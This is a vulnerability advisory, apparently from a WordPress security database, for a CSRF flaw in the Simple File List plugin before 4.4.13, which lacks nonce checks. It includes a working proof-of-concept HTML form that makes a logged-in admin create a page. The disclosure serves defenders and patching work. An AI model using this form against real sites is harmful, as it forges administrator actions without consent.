Simple File List < 4.4.13 - Page Creation via CSRF

2022-09-1900:00:00

Raad Haddad of Cloudyrion GmbH

0.001 Low

EPSS

Percentile

26.5%

JSON

The plugin does not implement nonce checks, which could allow attackers to make a logged in admin create new page and change it’s content via a CSRF attack.

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php" method="POST">
      <input type="hidden" name="eeShortcode" value="Page Content" />
      <input type="hidden" name="eeCreatePostType" value="Page" />
      <input type="hidden" name="eeGo" value="Go" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

26.5%

JSON

Related for WPEX-ID:80D475CA-B475-4789-8EEF-9C4D880853B7